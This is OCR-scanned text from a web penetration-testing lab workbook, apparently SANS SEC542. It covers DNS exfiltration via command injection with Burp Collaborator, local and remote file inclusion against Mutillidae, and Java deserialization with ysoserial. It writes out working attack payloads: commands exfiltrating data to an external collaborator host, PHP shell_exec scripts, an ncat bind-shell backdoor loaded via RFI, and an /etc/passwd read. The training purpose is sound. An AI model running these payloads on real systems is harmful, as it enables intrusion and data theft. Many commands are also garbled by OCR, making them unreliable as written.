1 2021-Apr-02 21:05: 2B UTC DNS qQexvewsTmeovIdzoatumyelg)7..

2 2021-Apr-02 21:03:2B UTC  DNS qExvbws7melvidoowtumyelg)?..

| Close |

7. Note that our name was resolved, once again proving command injection (and also verifying that DNS is not filtered from the victim server).

+ Use Burp Collaborator to exfiltrate data.
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Solution

1. Now let's exfiltrate data via Burp Collaborator. We'll use a command with short output, to stay under the 63-character DNS name limit discussed in 542.3's Command Injection lecture.
Copy and paste the following in the "Is it Alive?" page: sec542.org3ja=$(whoami|base32|tr -d =)j3nslookup $a.

2. Do not press "Submit" yet. Copy your randomly-generated DNS name from Burp Collaborator and paste it to the end of the previous command. Ensure there are no spaces between
the command the unique DNS name.

8- It will look like this (but again note that your name will be different): Sec542.0rgj;a=$(whoami|base32|tr -d =) ;nslookup
$a.cfvnhy4u346dx10que45nvbleck28r.oastify.comx

Then press Submit in the browser. Switch back to Burp Collaborator client and press Poll now.

® Time Type Payload
1 2022-Jul-21 18:06:07 UTC DNS 323elwuutiz8557belnvOhTjiao2cr

Description DNS query

The Collaborator server received a DNS lookup of type A for the domain name
O53X0LLEMF2GCCQ.323e wuutiz8557be OnvOh7jiao2cr.oastify.com.

The lookup was received from IP address 71.7.183.245 at 2022-Jul-21 18:06:07 UTC.

Click on the Description tab and highlight and copy ( CtrL=C ) the hostname (the all-capital base32-encoded string).

4. Open a terminal, and type the following:
echo -n 053XOLLEMF2GCCQ | wc -c

Notethat @cho —n tells @cho to suppress the trailing newline (which would add one character to the byte count). The output is 15 bytes, and we need to append = signs
to end on a 4-byte boundary. 16 is evenly divisible by 4, so append one = sign.

Type the following in a terminal:

echo 053XOLLEMF2GCCQ= | base32 -d

A _ Terl_'nina_l=5tqdent@5_e_:541:~ el -
File' Edit View Terminal Tabs Help

[~1% echo -n O53XOLLEMF2GCCO | wc -c
15

[~]$ echo O053XOLLEMF2GCCQ= | base32 -d
www-data

[~-1% § !

5 Now let's use a bash loop to perform LS / on the victim web server. This will create multiple DNS requests (one for each file/directory). We won't encode the names this time

(although we could) because most or all will be DNS-safe.
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6. Copy and paste the following in the "Is it Alive?” page: sec542.0rgs for i 1in $(ls /)3 do dig $i.
7. Do not press Submit yet. Copy your randomly-generated DNS name from Burp Collaborator and paste it to the end of the previous command. Then paste the following after the name

(to complete the bash loop):  § done .

8- 1t will look like this (but again note that your name will be different): sec542.orgs for i in $(ls /)3 do dig
$1.96xv6ws7m60vi4zxwtumy6lgj7pxdm.oastify.com; done.
9. Verify you have copied/pasted correctly and press Submit. Return to the Burp Collaborator client window and press Poll now. Go to the Description tab of the responses. You will

receive numerous file and directory names, one per response, each appearing as the hostname . it will take a while for all of the DNS responses to complete, so be sure to

press Poll a few times. We have highlighted the *home directory below:

* Burp Collaborator client - + X

@ Click "Copy to clipboard” to generate Burp Collaborator payloads that you can use in your own testing. Any interactions that result from
using the payloads will appear below.

Generate Collaborator payloads

Mumber to generate: | 1 | Copy to dipboard Include Collaborator server location

Poll Collaborator interactions

Pall every | 60 seconds Poll now
# Time Type Payload Comment
k| 2022-lun-2320:02:20 UTC  DNMS vwucSthhveph88ir)Bhdm2 1 hsgy...
2z 2022-Jun-23 20:02:20 UTC  DN5 wwucBthhvcphBBirjBham21hsBy...
3 2022-Jun-23 200220 UTC  DNS vvucithhvephBBirjBh4m21hs8y. ..
4 2022-Jun-23 20002:20 UTC  DNS wvucSthhvephBBirjBh4m21hs8y..
3 2022-Jun-2320:02:21 UTC  DNMNS vwucSthhvcph88ir)Bhdm2 1 hsgy...
& 2022-Jun-23 20:02:21 UTC  DN5 wwucBthhvcphBBirjBhama21hsBy...
7 2022-Jun-23 20:02:22 UTC  DNS wvwucithhvephBBirjBh4m21hsBy. .
B 2022jun-2320:02:22 UTC  DNS veucOthhvephggirj8ham21hsBy...
o 2022-Jun-2320:02.23 UTC  DNS wvucithhvecphBBir Bhdm21hs8y...
10 2022-Jun-23 20:02:24 UTC  DN5 wwucBthhvcphBBirjBham21hsBy...
11 2022-Jun-23 20:02:25 UTC  DNS vvucithhvephBBirjBh4m21hs8y. ..
12 2022-Jun-23 20002:26 UTC  DNS wvucSthhvephBBirjBh4m21hs8y..
13 2022-Jun-23 200226 UTC  DNS wvucithhvecphBBir Bhdm21hsgy...
|14 2022-jun-2320:02:27 UTC  DNS vvucSthhvephBBirjfBhdm21hsBy...

Description DMNS query

The Collaborator server received a DNS lookup of type A for the domain name

home wvucdthhvephBBirj8h4m21hsByzme oastify.com.

The lookup was received from IP address 172.253.195.201 at 2022-Jun-23 20002:22 UTC.

Close

1. Type exit in the attacker container and stop it by typing the following command in a terminal:

stop-containers.sh
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Exercise 3.2 - Local/Remote File Inclusion

+ Gain hands-on familiarity with discovery and exploitation of Local File Inclusion (LFI) flaws

+ Work with Remote File Inclusion (RFI) flaws

+ Host PHP code on an attacker-controlled system and use a Remote File Inclusion (RFI) exploit to load and run it on a victim

+ Work with static web server to quickly host payloads

Lab Setup

Warning

Ensure you are NOT proxying with Burp or ZAP as that may cause issues with this lab.

1. Open Firefox and surf to: https://www.sec542.org/mutillidae/.

2. Click the Mutillidae Home button.

‘{_‘ S ¢ @

[ © ‘ & https://www.sec542.org/mutillidae/index.php?page=home.php&popUpNotificationCode=HPHO eoe {:{]

¥ Most Vis I8 Sec542 wiki Untrusted - a user ja... Untrusted Solutions

®% OWASP Mutillidae 1I: Keep Calm and Pwn On

n: 2.8.24 Security Level: 0 (Hosed) Hints: Enabled (1 - Try ier) Not Logged In
Home | Login/Register | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

OWASP 2017 »

v Hints and Videos ‘
OWASP 2013  »

TIP: Click Hint and Videos
OWASP 2010 »

on each page
OWASP 2007 »
Web Services ? What Should | Do? e Help Me!

HTML 5

n Listing of vulnerabilities n Video Tutorials

3. Pay careful attention to the URL in the address bar.

@ & https/iwww.sec542.org/mutillidae/index.php?page=home.php&popUpNotificationCode=HPHO

Note

The URL variables are optional. You may use the URL without options for the following steps in this lab:
https://www.sec542.org/mutillidae/index.php

If Mutillidae becomes slow or unresponsive, quit Firefox and restart.
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Challenges

Local File Inclusion (LFI)

« Identify a potential LFI vulnerability in Mutillidae.

« Exploit the LFI vulnerability to display any local file.

Solution

4. Then load the page.

1- Take note of the page= parameter. Change it to display a local file of your choice.

2 Weknow that /etc/passwd exists on most every UNIX/Linux server.

3. Change the Home address bar to the following:

https://www.sec542.org/mutillidae/index.php?page=/etc/passwd

(¢)> e @&

[ © | @ httpsi/iwwwsecs42.org/mutillidae/index.phpzpag

- O no - © e

¥ Most Visited JTB Sec542 wiki Untrusted - a user ja.. §[H Untrusted Solutions

OWASP 2017 >
OWASP 2013 >
OWASP 2010 >
OWASP 2007 >
Web Services

HTML 5 »

Documentation b

Resources

Donate
Want to Help?

Video Tutorials

»

@ OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.8.24 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) Not Logged In

Home | Login/Register | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:
Jusr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache
/man:/usr/sbin/nologin Ip:x:7:7:Ip:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool
/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-
data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var
/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network
Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin
/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/shin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin uuidd:x:105:110::/run/uuidd:/usr/sbin/nologin avahi-autoipd:x:106:111:Avahi autoip
daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin rtkit:x:109:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
lightdm:x:110:115:Light Display Manager:/var/lib/lightdm:/bin/false cups-pk-helper:x:111:118:user for cups-pk-helper service,,,:/home
/cups-pk-helper:/usr/sbin/nologin speech-dispatcher:x:112:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
whoopsie:x:113:119::/nonexistent:/bin/false kernoops:x:114:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:115:121::/var/lib/saned:/usr/sbin/nologin pulse:x:116:122:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
avahi:x:117:124:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin colord:x:118:125:colord colour management
daemon,,,:/var/lib/colord:/usr/sbin/nologin hplip:x:119:7:HPLIP system user,,,:/var/run/hplip:/bin/false
student:x:1000:1000:student,,,:/home/student:/bin/bash sshd:x:120:65534::/run/sshd:/usr/sbin/nologin bind:x:121:128::/var/cache/bind:
Jusr/sbin/nologin mysql:x:122:129:MySQL Server,,,:/nonexistent:/bin/false uml-net:x:123:130::/nonexistent:/usr/sbin/nologin
marvin:x:1001:1001:,,,:/home/marvin:/bin/bash adent:x:1002:1002:Arthur Dent,,,:/home/adent:/bin/bash
zbeeblebrox:x:1003:1003:Zaphod Beeblebrox,,,:/home/zbeeblebrox:/bin/bash fprefect:x:1004:1004:Ford Prefect,,,:/home/fprefect:
/bin/bash tmcmillan:x:1005:1005:Tricia McMillan,,,:/home/tmcmillan:/bin/bash

5. Feel free to freestyle and view other files.
6. If you are thinking, that is so easy, you are correct.
7. Penetration testing's big secret: Sometimes, it's easy. Please don't tell anyone!

8. We ramp up the difficulty and perform a Remote File Inclusion (RFI) exploit next.

Remote File Inclusion (RFI)

1. Build RFI attack payloads:

+ Write PHP code that runs a local shell command on the victim and displays the output.

« Write a second PHP script that opens a backdoor shell listener.

* Load and run via an RFI exploit.

+ Connect to the backdoor listener.
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o Host attack payloads in the attacker container (place them in the /www directory inside the container).

3. Open a terminal, start the attacker container, and start the attacker's web service.

/labs/attacker-container.sh
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Solution

1. We will use an Alpine Linux Docker container for the attacker system, which is used to simulate a remote attacker, as we did in the previous lab, and then start the nginx web server
inside the container.

2. If you have already performed these steps: proceed to the next step. Otherwise: open a terminal and type:

/labs/attacker-container.sh

3. If you haven't worked with Remote File Inclusion flaws before, they can seem a bit confusing. At a high level, here are the basic steps we will be performing.
* Write a PHP script (we call it 1d .« php )thatcanrunthe id shell command.
“Place id. php inthe attacker container's web root: [
+ Then have Mutillidae load and execute it via http:/attacker.sec542.org/id.php.

4 The PHP shell_exec function is well suited for our nefarious purposes.

5. This simple PHP script executes the shell command of your choice:

<?php
echo shell_exec('<command>'");
2>

Note

You can write the PHP code as a single line:

<?php echo shell_exec('<command>'); 2>

Writing it on multiple lines makes it easier to read and also makes adding additional commands easier.

Create /www/id.php in the attacker container

1. Use the nano text editor to create the php file. Type the following in the attacker terminal (the terminal with this prompt: / #)

nano /www/id.php

2. Enter the PHP code in nano:

<?php
echo shell_exec('id');
2>
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e Terminal - student@Security542: ~ — k]

File' Edit WView Terminal Tabs Help

GNU nano 3.2 Jwww/id.php Modified
<?php

echo shell exec('id');
(e |

Get Help Write Out
Exit Read File

Where Is
Replace

Bl Cut Text
glll Uncut Text

3- Then press Ctr1—S tosavethefile,and Ctr1=X to exit nano.
Launch the RFI

1. In Firefox, click Mutillidae's Home button:

(&) c o [@‘ﬂ‘wm#

¥ Most Vis! JIB secs42 wiki  [€] Untrusted - a user ja... Untrusted Solutions

®% OWASP Mutillidae II: Keep Calm and Pwn On

n: 2.8.24 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) Not Logged In
Home | Login/Register | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

w.sec542.org/mutillidae/index.php?

me.php&popUpN

tionCode=HPHO Y}‘

OWASP 2017 »

Hints and Videos ‘

OWASP 2013  »
TIP: Click Hint and Videos
OWASP 2010  »

on each page
OWASP 2007 »
Web Services » ? What Should | Do? Q Help Me!

HTML 5 4

ﬁ Listing of vulnerabilities Video Tutorials

2. Now change the address bar to the following:
https://www.sec542.org/mutillidae/index.php?page=http://attacker.sec542.0rg/id.php

3 The page parameter now instructs Mutillidae to serve up the contents of the file located at http:/attacker.sec542.org/id.php.

4. Load the page:

(&) (¢ Gj ‘ © | & https://www.sec542.org/mutillidae/index.php?page=http://attacker.sec542.org/id.php

L} Most Visited

II8 Sec542 Wiki [€] Untrusted - a user ja... JIH Untrusted Solutions

o« OWASP Mutillidae II: Keep Caln

Version: 2.8.24 Security Level: 0 (Hosed) Hints: Enabled (1 -
Home | Login/Register | Toggle Hints| Toggle Security | Enforce TLS | Reset DE

OWASP 2017 4 uid=33(www-data) gid=33(www-data) groups=33(www-data)
OWASP 2013 4

OWASP 2010 4

OWASP 2007 4

Web Services »

TTTRAAT =
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5. We now see the output of the id command.

6. Here is a slightly snazzier version of the id.php script, which you can try on your own:

<?php
$command="-1d"}

echo "Running the '$command' command:";
$output=shell_exec($command)

echo "<pre>S$Soutput</pre>";
2>
Create a backdoor
1. Let's create a backdoor listener via PHP.
2. Use the nano text editor to create the php file. Type the following in the attacker terminal (the terminal with this prompt: / #)

nano /www/shell.php

3. Enter the PHP code in nano:

Note

The first ncat flagis a lowercase L, not aone.

<?php

echo shell_exec('ncat -1 -p 4242 -e /bin/bash');
2>

-

Terminal - student@Security542: ~ — & X
File' Edit WView Terminal Tabs Help

GNU nano 3.2 fwww/shell.php Modified
<?php
echo shell exec('ncat -1 -p 4242 -e /bin/bash');
i |

Get Help B Write Out Where Is { Cut Text

Exit :E Read File Replace :E Uncut Text

4 Thenpress Ctr1=S tosavethefile,and Ctr1=X to exitnano.

Run the Backdoor

1. In Firefox, click Mutillidae's Home button.
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{(—4\ - G o [ © ‘ & https://www.sec542.org/mutillidae/index.php?page=home.php&popUpNotificationCode=HPHO eoe f{‘

¥ Most Vis I8 Sec542 wiki Untrusted - a user ja... Untrusted Solutions

®% OWASP Mutillidae 1I: Keep Calm and Pwn On

n: 2.8.24 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) Not Logged In
Home | Login/Register | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

|
|
TIP: Click Hint and Videos

OWASP 2010 » on each page

? What Should | Do? e Help Me!
n Listing of vulnerabilities n Video Tutorials

Hints and Videos ‘

HTML 5 3

2. Now change the address bar to the following:

https://www.sec542.org/mutillidae/index.php?page=http://attacker.sec542.org/shell.php

3. Load the page.

Note

The page will not complete loading because it is now running a backdoor for us to connect into.

4 Back in the attacker terminal, connect to the backdoor listener by typing the following in the attacker terminal (the terminal with this prompt: / #).

nc www.sec542.org 4242

Note

There will be no banner; start typing commands. For example, you might try the command uname -a to determine what
version of Linux the victim is running.

(%))

. Connect to the backdoor and type shell commands:
=

- _ T_erh'linal-Et_uden«t@Se:urit}rsdz:- -
File Edit Miew Terminal Tabs Help

/ # nc sec542.orqg 4242

id

uid=33 (www-data) gid=33(www-data) groups=33(www-data)

uname -a

Linux Securityb542 4.15.0-50-generic #54-Ubuntu SMP Mon May .
6 18:46:08 UTC 2019 x86 64 x86 64 x86 64 GNU/Linux
(@
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Note

Check the previous Mutillidae command injection lab (see the notes of the page titled "Our shell") for non-netcat shell
options.

6. We have successfully exploited both Local and Remote File Inclusion vulnerabilities in Mutillidae. That wraps up this exercise.

7. When you finish typing the commands you want, press Ctr1—=C to stop the shell.

1. Type exit to escape the attacker container and stop it by typing the following command in a terminal:

stop-containers.sh
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Exercise 3.3 - Insecure Deserialization

Objectives

+ Investigate a Java Deserialization vulnerability

« Identify another information leakage vulnerability in the same application that leaks local paths

« Exploit the identified Java Deserialization vulnerability with ysoserial (available in /usr/local/bin/ysoserial-master-SNAPSHOT.jar) to
steal a secret file stored in /secret.txt

+ Read contents of the file by exploiting a file inclusion vulnerability leaked through the previously identified information leakage

vulnerability

‘

ab setup

1. Open a terminal and start the Deserialization Lab container (leave this terminal session open until the conclusion of the lab).

/labs/deserialization.sh

2. In the SEC542 Linux VM, open Burp Pro and then open Firefox.

Warning

If you receieve a prompt to update Burp, click Close as any new or changed feaures may impact future lab exercises.

3. Click Next on the project screen (use the default option of Temporary project). Then click Start Burp on the next screen (use the

default option of Use Burp Defaults)

4. Wait for Burp Pro to launch.

5. Run one instance of Burp Pro only. Multiple instances of Burp Pro are running if you see the warning below.
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Note

If you only have one instance running, you should not expect to see the popup below.

v Delete old temporary files? X

Your temporary directory contains the following folders which appear to have been previously generated by Burp. Would you like to delete these?
' Note: you should not delete these files if another instance of Burp is currently running.

Tue May 28 15:08:14 PDT 2019  /tmp/burp3936178803653028771.tmp
Tue May 28 15:11:08 PDT 2019  /tmp/burp17790170802505851378.tmp
Tue May 28 15:08:15 PDT 2019  /tmp/burp305967424870421416.tmp
Tue May 28 15:46:13 PDT 2019  /tmp/burp4042600176303109235.tmp

=

In this case, choose Leave and then close the newest Burp instance, leaving the original. When in doubt, close all Burp Pro
instances and start over.

Warning

Burp Pro must be listening on port 8080, and the Burp Pro instance that generates the preceding error cannot bind to port 8080
because it is in use by another instance.

6. In Firefox, go to the proxy selector, and choose Burp Pro.

N @D
«" |[Direct]
O [System Proxy]
@ Burp Community
Burp Pro
F @ Zzap \
Y localhost ~

/4 Options

7. Open http://172.17.0.2:8080 in Firefox and log in:

* Username: student

+ Password: Security542

Challenges

The web server hosting the vulnerable application has a secret file in /secret.txt - retrieve its contents. The application is
vulnerable to two vulnerabilities: a Java deserialization vulnerability in the /MakeOrder servlet that accepts a POST HTTP request
with the object Base64 encoded in a parameter called obj (don't forget the session).
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Additionally there is an information leakage vulnerability in the OrderDisplay servlet that will allow you to identify local path — use it
to steal the secret.txt file.

Some Hints

+ A full walkthrough begins in the next section.
« Browse through available VHS tapes and analyze the request parameters. Fuzz them to see how the application reacts.

+ Make a request to http://172.17.0.2:8080/MakeOrder - this is the endpoint that is vulnerable. It will expect a POST HTTP request though

+ Notice the server version. It is probably using Java 7 so one of the CommonsCollections Payloads should work (hint - usually 5 works the best)
- Create an object that will copy the secret file somewhere where you can read it.
+ Remember that the object must be Base64 encoded, and passed to the MakeOrder endpoint in a parameter called "obj", in a POST HTTP request

« Chain all found vulnerabilities to retrieve the contents of the secret file.
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Solution

1. If you have not already done so, open http://172.17.0.2:8080 in Firefox and log in.
‘Username: student

*Password: Security542

2. Go to See available VHS tapes at http://172.17.0.2:8080/OrderDisplay.

3. Notice the information about the legacy POST submissions system that accepts Java objects.

4. Click on any of the movies and pay attention to the URL.

http://172.17.0.2:8080/0rderDisplay?filename=Pulp%20Fiction

- Selected title dotails - Mazilla Firofox =
Selected title details x| =

= =) [0 | & 21702 menoecisayfienme=pup e B9 &1# mWmo ® e
£ Mostvisited

Here is information about the requested title:

Director: Quentin Tarantino

Cast: John Travolta, Uma Thurman, Samuel L. Jackson, Bruce Willis, Ving Rhames

Domestic lifetime gross (adjusted for inflation, 2014): $202,078,200

Famous quote: "If my answers frighten you then you should cease asking scary questions.” 7 Jules

"Quentin has always been a student of film, and after Reservoir Dogs he said to me: “The second movie from a filmmaker is almost more important than the first. We've got to
get it nght,” recalls Lawrence Bender, Tarantino's longiime producing partner. Tarantino got it nght, all right. In fact, Miramax's Pulp Fiction might be the most influential movie
made during the 1990s, inspiring scads of imitatars (nicknamed Tarantinies) and dozens of knockoffs. "We didn't think we were 1aking a big risk,” says Bender. "We just though
we were making something really cool.”

Click Here to go back to selection

5. Notice the filename parameter, and change it to the arbitrary string test :

http://172.17.0.2:8080/0rderDisplay?filename=test

6. Notice the error displayed.

8 4 Error 500 fopt/app/files/testhtm! (No such file or directory) - Mozilla Firefox =

Error 500 fopt/app/filesitesthin X l +

5]

Sk X4 no @@

(_ S GG lg !g 195.17.0.9-9080/Order Display?filenar
¥ Most Visited

HTTP ERROR 500

Problem accessing /OrderDisplay. Reason:

Jopt/app/files/test.htal (No such file or directory)

Caused by:

java.io.FileNotFoundException: /opt/app/files/test.html (No such file or directory)
at java.io.FileInputStream.open(Native Method)
at java.io.FileInputStream.<init>(FileInputStream.java:146)
at java.util.Scanner.<init>(Scanner.java:660)
at org.sec542.0rderDisplay.doGet{OrderDisplay.java:89)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:767)
at javax.servlet.http.HttpServlet.service{HttpServiet.java:820)
at org.eclipse.jetty.servlet.ServletHolder.handle(ServietHolder. java:533)
at org.eclipse.jetty.servlet.ServietHandler.doHandle(ServietHandler.java:475)
at org.eclipse.jetty.server.handler.Scopediandler.handle(ScopedHandler.java:119)
at org.eclipse.jetty.security.SecurityHandler.handle{SecurityHandler.java:514)

7- The error leaks full local path. Additionally, it appears that the application is appending .html to the contents of the filename parameter. We will abuse this to steal the /

secret.txt filesince the Java deserialization exploit is blind — we will not see the output of our command.

8- The idea is the following - the exploit will copy /secret.txt into /opt/app/files/dummy.html andwe wil retrieve the file via web.
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9 Remember that the application said that the MakeOrder endpoint available at http://172.17.0.2:8080/MakeOrder expects a POST HTTP request. Let's open this URL in a browser just
to see what will happen.

v

Error 405 HTTP method GETisn- X | =+

(— > C ® ‘ © | & 17217.02:
HTTP ERROR 405

Problem accessing /MakeOrder. Reason:

HTTP method GET 1is not supported by this URL

Powered by Jetty://

10. Indeed, we must send a POST HTTP request here. Notice that the server was also leaked as Jetty - we can check that in HTTP response headers too. Let's get to work now.

- In order to create the exploit we will use ysoserial, available /usr/local/bin/ysoserial-master-SNAPSHOT.jar .Runitwithjavain aterminal to

see the options.

java -jar /usr/local/bin/ysoserial-master-SNAPSHOT.jar

12. We will use CommonsCollections5 which should work with Java7, latest update. This is a reasonable expectation because the server has been identified as Jetty. In a real-world

penetration test, we would just try multiple payloads to see which one works. To save our time, we'll use CommonsCollections5 immediately.

java -jar /usr/local/bin/ysoserial-master—-SNAPSHOT.jar CommonsCollections5 'cp /
secret.txt /opt/app/files/dummy.html' > deser.obj

13. Base64 encode the object:
base64 deser.obj > deser.bé64

14. Go back to Burp, to Proxy -> HTTP History and find the request we sent to the /Makeo rder endpoint. It should look like below:

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja 219


https://technet24.ir

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
Intercept HTTP history WebSockets history Options
| Re-enable ‘
Filter: Hiding CSS, image and general binary content |®
# Host Method URL Params Edited Status Length MIMEty.. Extension Title Ce
1 http://172.17.0.2:8080 POST  /LoginServiet v 200 1021 HTML Arthur's VHS museum
S —
http://172.17.0.2:8080 GET /MakeOrder 405 1672 HTML Error 405 HTTP method GET is not supported by this URL I
u == INSPECTOR
Request Response ® X
Pretty QEENE \n  Actions v -G8 Raw  Render \n Actions v Request Cookies (1) v
1 GET /MakeOrder HTTP/1.1 1 HTTP/1.1 405 HTTP method GET is not supported by t
2 Host: 172.17.0.2:8080 2 Content-Type: text/html;charset=IS0-8859-1 Request Headers (8) v
3 User-Agent: Mozilla/5.0 (¥11: Ubuntu: Linux xB86_64; 3 Cache-Control: must-revalidate,no-cache,no-store
rv:86.0) Gecko/20100101 Firefox/86.0 4 Content-Length: 1444
4 Accept: S Connection: close Response Headers (5) N
text/html,application/xhtml+xml,application/xml;q=0 & Server: Jetty(7.2.0,v20101020)
.9, 1image/webp, *¥/*;q=0.8 7
: Accept-Language: en-US,en;g=0.5 g <html=
5 Accept-Encoding: gzip, deflate 9 <head=
Connection: close 10 <meta http-equiv="Content-Type" content="text,
Cookie: JSESSIONID=aZopt3tal4lqoeashbygziyb 11 <title>
Upgrade-Insecure-Requests: 1 Error 405 HTTP method GET is not supported b
10 </titles
11 12 </head=
13 <body=>
<h2=
HTTP ERROR 405
</h2=
14 <p>
Problem accessing /MakeOrder. Reason:
15 <pre>
HTTP method GET is not supported by th
</pre>
</p=
<hr /=
<i=
@ick«|~] | omatches  (2)£0% [« -] | 0matches

15. Send that request to Repeater by right clicking on it and selecting Send to Repeater or by pressingthe CTRL—R  shortcut while you have the GET HTTP request to /

MakeOrder selected.

Dashboard Target Proxy Intruder

Repeater

Intercept

HTTP history

Web5Sockets history

Options

Decoder

Sequencer

Comparer

Extender

| Re-enable

Project optig

Filter: Hiding CS5, image and general binary content

Pretty \n  Actions W

GET /MakeOrder HTTP/1.1
Host: 172.17.0.2:8080

w M=

rv:86.0) Gecko/20100101 Firefox/86.
4 Accept:
text/html,application/xhtml+xml,appl
.9, image/webp,*/*;g=0.8
5 Accept-Language: en-US,en;g=0.5

User-Agent: Mozilla/5.0 (¥11; Ubuntu; Linux x

Do active scan

Send to Repeater Ctrl-R

o end to >equencer

) . Send to Comparer (request)
ication/x
Send to Comparer (response)

Show response in browser

Actions v

120101020)

# Host Method URL Params Edited 5Status Length MIMEty... Extension
1 http://172.17.0.2:8080 POST  /LoginServiet v 200 1021 HTML Arthur's V
2 http://172.17.0.2:8080 GET /OrderDisplay 200 1693 HTML Welcome
4 http://172.17.0.2:8080 GET /MakeOrder - “IGTZ HTML Error 405
5 http://172.17.0.2:8080 GET 1 nttp://172.17.0.2:8080/MakeOrder  p39  prg Arthur's V|
7 httn /172 17 N FRORN ~FT Faviran irn Remove from scope ‘1I-'.an HTRAI irn Frrar AN4

Scan
a-= -
Request Do passive scan

od GET is not supported by t
1:charset=I50-8859-1
evalidate,no-cache,no-store

16. Switch to the Repeater tab and verify if the request works by clicking on the Send button. You should see the same error "405 HTTP method GET is not supported by this URL', as

shown below:
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Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
1 %
Target: http://17217.028080 2 ()
' I = =m
Request Response INSEECTOR @ X
\n  Actions v Raw Render \n Actions v Query Parameters (0) v
1 [BET /MakeOrder HTTP/1.1 1 HTTP/1.1 405 HTTP method GET is not supported by this URL
2 Host: 172.17.0,2:8080 2 Content-Type: text/html:charset=IS0-8859-1 Body Parameters {0) v
3 User-Agent: Mozillas5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) 3 Cache-Control: must-revalidate,no-cache,no-store
Gecko/20100101 Firefox/86.0 4 Content-Length: 1444 .
4 Accept: S Connection: close Request Cookies (1) 4
text/html,application/xhtnl+xml,application/xml;q=0.9, image/w & Server: Jetty(7.2.0,v20101020)
ebp, */+;q=0.8 7 Request Headers (8) v
S Accept-Language: en-US,en;g=0.5 8 <html>
Accept-Encoding: gzip, deflate 9  <head=
7 Connection: close 10 <meta http-equiv="Content-Type" content="text/html; char: Response Headers (5) v
Cookie: JSESSIONID=aZopt3talalgoeashbygziyb 11 <titles
Upgrade-Insecure-Requests: 1 Error 405 HTTP method GET is not supported by this URL
10 <ftitle=
11 12 </head=
13 <body>
<h2=
HTTP ERROR 405
</h2=
14 <p=
Problem accessing /MakeOrder. Reason:
15 <pre=
HTTP method GET is not supported by this URL
</pre>
</p=
<hr /=
<i=
<small=
Powered by Jetty://
<fsmall=>
<fi=
<br/=
16 <br/=
QIR | omatenes  (2)€8% [« [ | omatches
Done 1,672 bytes | 2 millis

17. Now, we need to send a POST HTTP request here, which will contain one object, called Obj with Base64 encoded exploitation object.

18. First, we need to change the request method in Repeater from GET to POST. Right click on the request and select Change request method, as shown below. Burp will change the
method to POST and will add the required header Content-Length for us automatically; neat!
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Burp Project Intruder Repeater
Dashboard Target Proxy

1 =

Window  Help

Intruder Repeater Sequencer Decoder Comparer Extender Project options User options

Target: http://172.17.028080 7 (2)

Request

Pretty - \n  Actions v

GET /MakeOrder HTTP/1.1
Host: 172.17.0.2:8080

a- -
RESPOHSE

-Raw Render \n  Actions v

1 HTTP/1.1 465 HTTP method GET is not supported by this URL
Content-Type: text/html;charset=IS0-88539-1

w -

User-Agent: Mozilla/5.0 (%11
Gecko/20100101 Firefox/86.0
Accept:
text/html,application/xhtml+
ebp, *¥/%;q=0.8

Accept -Language: en-US,en;g=
Accept-Encoding: gzip, deflz
Connection: close

Cookie: JSESSIONID=aZopt3tal
9 Upgrade-Insecure-Requests: 1
10

IS

N o

o o

Q&[>

Done

Scan o) Cache-Control: must-revalidate,no-cache,no-store
4 Content-Length: 1444
Do passive scan 5 Connection: close
Bfw Server: Jetty(7.2.0,v20101020)
Do active scan
Send to Intruder Ctrl-I 8 <html>
9 <head>
Send to Repeater Ctrl-R 10 <meta http-equiv="Content-Type" content="text/html; char:
11 <title=
Send to Sequencer Error 405 HTTP method GET is not supported by this URL
Send to Comparer </title=
</head=
Send to Decoder <body>
Show response in browser <h2=
HTTP ERROR 405
Request in browser > </h2>
14 <p>
Problem accessing /MakeOrder. Reason:
15 <pre>
HTTP method GET is not supported by this URL
</pre=
Copy URL </p=
<hr /=
Copy as curl command <i>
Copy to file <small>
Powered by Jetty://
Paste from file </small=
</i=
Save item <br/>
Save entire history
